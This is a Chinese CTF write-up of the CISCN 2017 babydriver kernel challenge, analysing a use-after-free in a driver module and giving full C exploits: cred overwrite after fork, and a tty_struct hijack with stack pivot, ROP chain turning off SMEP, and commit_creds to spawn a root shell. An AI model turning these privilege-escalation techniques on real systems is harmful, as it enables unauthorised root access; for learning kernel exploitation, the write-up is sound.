这是一道linux内核CTF的入门题,对于完全没有linux内核ko开发经验的同学,做这道题之前,建议先学一下宋宝华的《Linux设备驱动开发详解》并实践字符设备驱动的开发过程,了解read/write/ioctl/mmap这些基本内核接口的实现和原理。
第一种解法:
[CISCN 2017] babydriver
CISCN 2017 babydriver (UAF利用方法)
另一种解法:
linux kernel pwn学习之伪造tty_struct执行任意函数
分析
题目附件:CISCN2017-babydriver
本题漏洞ko为babydriver.ko,注册了如下一些函数对用户态提供服务
babyopen()
函数中,申请了一个0x64大小的堆,然后将堆地址和大小赋给babydev_struct
这个结构体的成员(device_buf占8字节,device_buf_len占2字节)。babydev_struct
是一个全局变量,未设置任何保护措施。因此,当有两个用户同时打开open("/dev/babydev",2)
该设备节点时,后一个open操作,将覆盖babydev_struct.device_buf
上的值,导致两个用户(不同fd)指向同一堆块。
1 2 3 4 5 6 7 8 9 10
| int __fastcall babyopen(inode *inode, file *filp) { __int64 v2;
_fentry__(inode, (_DWORD)filp, v2); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n", 37748928LL); return 0; }
|
babyread()
函数逻辑简单,判断用户态传入的长度是否小于babydev_struct.device_buf_len
,如果满足条件则将babydev_struct.device_buf
指向的内容拷贝到用户态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, (_DWORD)buffer, length); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); return v6; } return result; }
|
babywrite()
函数跟babyread()
函数类似,判断条件通过后,将用户态的数据拷贝给babydev_struct.device_buf
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, (_DWORD)buffer, length); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); return v6; } return result; }
|
babyioctl()
只有一个分支(command),它先将babydev_struct.device_buf
指向的堆块释放掉,然后根据用户态传入的arg参数申请任意大小堆块,并更新babydev_struct
结构体中两个成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4;
_fentry__(filp, command, arg); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL); babydev_struct.device_buf_len = v4; printk("alloc done\n", 37748928LL); return 0LL; } else { printk(&unk_2EB, v3); return -22LL; } }
|
babyrelease()
函数在close(fd)
关闭设备节点时会被调用到,这里释放了babydev_struct.device_buf
指向的堆块,但是并没有置空,存在UAF漏洞。
1 2 3 4 5 6 7 8 9
| int __fastcall babyrelease(inode *inode, file *filp) { __int64 v2;
_fentry__(inode, (_DWORD)filp, v2); kfree(babydev_struct.device_buf); printk("device release\n", filp); return 0; }
|
总结一下:
- 两个用户(fd1, fd2)可以指向同一个内核结构体
- 用户1(fd1)可以为该结构体申请一个任意大小的堆块然后释放该堆块
- 用户2(fd2)获得一个垂悬指针。
利用
方法1 - 改子进程cred
前置知识:fork()一个子进程时,内核会为cred分配0xa8大小的堆用于存放结构体内容。
利用ioctl构造0xa8大小的堆块,然后调用close释放该堆块。紧接着fork一个子进程,就能为cred分配到刚刚释放的0xa8堆块。
最后通过垂悬指针更改cred内容,获得root shell。
在子进程中改堆中内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include<unistd.h> #include<stdio.h> #include<stdlib.h>
int main(){ int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8); close(fd1);
pid_t fpid; fpid=fork(); if (fpid < 0) { printf("error in fork!\n"); exit(0); }else if (fpid == 0) { printf("child pid is : %d\n",getpid()); char zeros[30] = {0}; write(fd2,zeros,28); system("/bin/sh"); exit(0); }else { wait(NULL); printf("parent pid is: %d\n",getpid()); } printf("%d: going to close fd2\n",getpid()); close(fd2);
return 0; }
|
父进程中使用wait(NULL);
,防止子进程还未执行完成,父进程便已提前退出。wait(NULL)这篇文章中的 “尊老爱幼” 一词生动地解释了有无wait(NULL);
的区别。
本题需在父进程中使用该等待,否则无法在fork的子进程中稳定获得shell。
在父进程中改堆中内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include<unistd.h> #include<stdio.h> #include<stdlib.h>
int main(){ int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8); close(fd1);
pid_t fpid; fpid=fork(); if (fpid < 0) { printf("error in fork!\n"); exit(0); }else if (fpid == 0) { printf("waiting..."); sleep(3); system("/bin/sh"); exit(0); }else { char zeros[30] = {0}; write(fd2,zeros,28); wait(NULL); } close(fd2); return 0; }
|
方法2 - tty_struct
Linux中的tty、pty、pts与ptmx辨析
Linux伪终端
当用户打开/dev/ptmx
设备节点时,内核会为其分配一个tty_struct
结构体
该题目版本中,tty_struct大小:0x2e0
tty_struct->tty_operations的偏移为4+4+8+8=24
1 2 3 4 5 6 7 8 9
| struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; }
|
tty_operations结构体中部分成员如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); }
|
劫持控制流
使用如下代码段,在用户态伪造tty_operations结构体
1 2 3 4
| size_t tty_operations_fake[30]; for(int j=0;j<30;j++){ tty_operations_fake[j]=0xffffffffc0000130+j; }
|
分别测试对tty_operations->write()
和tty_operations->ioclt()
劫持成功时的上下文情况。
- 劫持tty_operations中的write函数,0x7ffe270c1920是用户态伪造的tty_operations结构体地址
- 劫持tty_operations中的ioctl函数,0x7ffe38927460是用户态伪造的tty_operations结构体地址
寻找gadget
对于内核文件,使用ropper找可用gadget比ROPgadget的速度要快。
1 2 3 4
| sudo pip install capstone sudo pip install filebytes sudo pip install keystone-engine pip install ropper
|
1 2
| ropper --file vmlinux --search "mov rsp, rax" ropper --file vmlinux --search "mov rsp, rcx"
|
为实现root shell的目的,只执行一条gadget无法达成目的,为此我们需要构造ROP链。但是内核栈空间我们无法控制,因此考虑通过一条gadget先迁移栈到可控的空间,然后继续ROP。
对于非elf格式的二进制
1 2 3 4
| ROPgadget --binary ./Image --rawArch=arm64 --rawMode=64 --rawEndian=little > gadget.txt ROPgadget --binary ./Image --rawArch=arm64 --rawMode=64 --rawEndian=little | grep "0xffffffffffffc000" | grep "ret" > target.txt
ropper --file ./Image -a ARM64 --search "mov %,sp;"
|
栈迁移(2次)
找mov rsp, rax
或者 xchg rax rsp
之类的指令,迁移栈空间
本题使用ropper并未找到合适gadget,最后还是用ROPgadget找到的,如下:
1 2 3 4 5 6
| $ ROPgadget --binary ./vmlinux > ropgadget.txt $ cat ropgadget.txt | grep "mov rsp," ······ 0xffffffff8181bfc5 : mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e 0xffffffff8181a7ef : mov rsp, rax ; pop rax ; jmp 0xffffffff8181a797 ······
|
上一步劫持控制流中,劫持到tty_operations中的write函数时,RAX中存放了用户态伪造的tty_operations结构体地址。结合0xffffffff8181bfc5
这条gadget,可以实现将栈迁移到tty_operations_fake[0]
处。
由于rax指向的地址是tty_operations_fake[0]的首地址,执行几条gadget就会跟tty_operations->write
(tty_operations_fake[7])重合。因此第一次劫持栈后,再做一次栈迁移,将栈迁移到一个局部数组变量中。
1 2 3 4 5 6 7 8 9 10 11
| size_t mov_rsp_rax = 0xffffffff8181bfc5; size_t pop_rax = 0xffffffff8100ce6e;
size_t tty_operations_fake[30]; for(int j=0;j<30;j++){ tty_operations_fake[j]=mov_rsp_rax; }
tty_operations_fake[0] = pop_rax; tty_operations_fake[1] = (size_t)rop_chain; tty_operations_fake[2] = mov_rsp_rax;
|
关闭SMEP
SMEP - ctfwiki
补充wiki中的描述,当
1
| $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
|
时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
1 2
| mov cr4, 0x407f0 # 0x1407e0 = 000 0 0100 0000 0111 1111 0000
|
CTF比赛中,常将cr4的值设置为0x6f0,来关闭SMEP。
本题通过ropper找到如下两条gadget,来修改cr4寄存器的值
1 2
| 0xffffffff810d238d: pop rdi; ret; 0xffffffff81004d80: mov cr4, rdi; pop rbp; ret;
|
执行提权函数
本题未开启KASLR,读取提权所需的内核符号地址如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| / $ cat /proc/kallsyms > /tmp/kallsyms.txt / $ cd tmp /tmp $ ls kallsyms.txt /tmp $ cat kallsyms.txt | grep "prepare_kernel_cred" ffffffff810a1810 T prepare_kernel_cred ffffffff81d91890 R __ksymtab_prepare_kernel_cred ffffffff81dac968 r __kcrctab_prepare_kernel_cred ffffffff81db9450 r __kstrtab_prepare_kernel_cred /tmp $ cat kallsyms.txt | grep "commit_creds" ffffffff810a1420 T commit_creds ffffffff81d88f60 R __ksymtab_commit_creds ffffffff81da84d0 r __kcrctab_commit_creds ffffffff81db948c r __kstrtab_commit_creds
# 函数定义 # struct cred *prepare_kernel_cred(struct task_struct *); # int commit_creds(struct cred *);
|
上一步已关闭SMEP,于是在用户态构造如下代码片段,即可提权
1 2 3 4 5 6 7
| #define pkc_addr 0xffffffff810a1810 #define cc_addr 0xffffffff810a1420 void get_root(){ char* (*pkc)(int) = pkc_addr; void (*cc)(char*) = cc_addr; (*cc)((*pkc)(0)); }
|
返回用户态
FS/GS寄存器的用途
KERNEL PWN状态切换原理及KPTI绕过
1 2
| 0xffffffff81063694: swapgs; pop rbp; ret; 0xffffffff814e35ef: iretq; ret;
|
保存现场
为了能稳定返回用户态,在进入内核态前,应保存几个重要寄存器,供iretq时使用。参考代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| size_t user_cs, user_rflags, user_sp, user_ss; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
|
完整EXP
注意,exp需静态编译,且需更改boot.sh
,将-enable-kvm
参数删除,才能利用该exp打成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| #include<unistd.h> #include<stdio.h> #include<stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>
size_t pkc_addr = 0xffffffff810a1810; size_t cc_addr = 0xffffffff810a1420; void get_root(){ char* (*pkc)(int) = pkc_addr; void (*cc)(char*) = cc_addr; (*cc)((*pkc)(0)); }
void get_shell(){ system("/bin/sh"); }
size_t user_cs, user_rflags, user_sp, user_ss; void save_status() { __asm__("mov %cs, user_cs;" "mov %ss, user_ss;" "mov %rsp, user_sp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
int main(){ save_status();
size_t mov_rsp_rax = 0xffffffff8181bfc5; size_t pop_rax = 0xffffffff8100ce6e; size_t rop_chain[30] = {0}; int index = 0; rop_chain[index++] = 0xffffffff810d238d; rop_chain[index++] = 0x6f0; rop_chain[index++] = 0xffffffff81004d80; rop_chain[index++] = 0x0; rop_chain[index++] = (size_t)get_root; rop_chain[index++] = 0xffffffff81063694; rop_chain[index++] = 0x0; rop_chain[index++] = 0xffffffff814e35ef; rop_chain[index++] = (size_t)get_shell; rop_chain[index++] = user_cs; rop_chain[index++] = user_rflags; rop_chain[index++] = user_sp; rop_chain[index++] = user_ss;
size_t tty_operations_fake[30]; for(int j=0;j<30;j++){ tty_operations_fake[j]=mov_rsp_rax; }
int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0); close(fd1);
int fd_tty = open("dev/ptmx",2);
size_t tty_struct_leak[4]; read(fd2,tty_struct_leak,32); tty_operations_fake[0] = pop_rax; tty_operations_fake[1] = (size_t)rop_chain; tty_operations_fake[2] = mov_rsp_rax;
tty_struct_leak[3] = (size_t)tty_operations_fake; write(fd2,tty_struct_leak,32);
size_t a[4] = {0,0,0,0}; write(fd_tty,a,32);
close(fd2); return 0; }
|
其他
cpio解压与压缩
1 2 3 4 5 6 7
| # 解压 $ gunzip filename.cpio.gz $ cpio -idmv < filename.cpio # 压缩 $ find . | cpio -o -H newc > filename.cpio # 或 find . | cpio -o > filename.cpio # 或 find . | cpio -o --format=newc > ../rootfs.cpio
|
其他情况参考:cpio解压initramfs.img
将bzImage转化成vmlinux
vmlinux即内核符号文件?
1
| $ /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
|
vmlinux与bzimage的区别
1 2 3 4
| $ file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=76517ec1ebecb36ffb324a8b5b0495c51625c53b, stripped $ file bzImage bzImage: Linux kernel x86 boot executable bzImage, version 4.15.8 (root@ubuntu) #3 SMP Thu Jun 3 01:01:56 PDT 2021, RO-rootFS, swap_dev 0x7, Normal VGA
|
ko代码段与bss段的地址
调试内核模块bss段时,要注意实际地址跟IDA分析出来的地址不一样。
babydriver.ko的加载地址是0xffffffffc0000000
,text段如babyopen()
函数(IDA中显示偏移为0x30)的实际地址为0xffffffffc0000030
,而bss段babydev_struct
结构体(IDA中显示偏移为0xd90)的实际地址为0xffffffffc00024d0
。
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/10gx 0xffffffffc0000d90 0xffffffffc0000d90: 0x0000000000000000 0x0000000000000000 0xffffffffc0000da0: 0x0000000000000000 0x0000000000000000 0xffffffffc0000db0: 0x0000000000000000 0x0000000000000000 0xffffffffc0000dc0: 0x0000000000000000 0x0000000000000000 0xffffffffc0000dd0: 0x0000000000000000 0x0000000000000000 pwndbg> x/10gx 0xffffffffc00024d0 0xffffffffc00024d0: 0xffff8800027dcb00 0x0000000000000040 0xffffffffc00024e0: 0x0000000000000000 0x0000000000000000 0xffffffffc00024f0: 0x0000000000000000 0x0000000000000000 0xffffffffc0002500: 0x0000000000000000 0x0000000000000000 0xffffffffc0002510: 0x0000000000000000 0x0000000000000000
|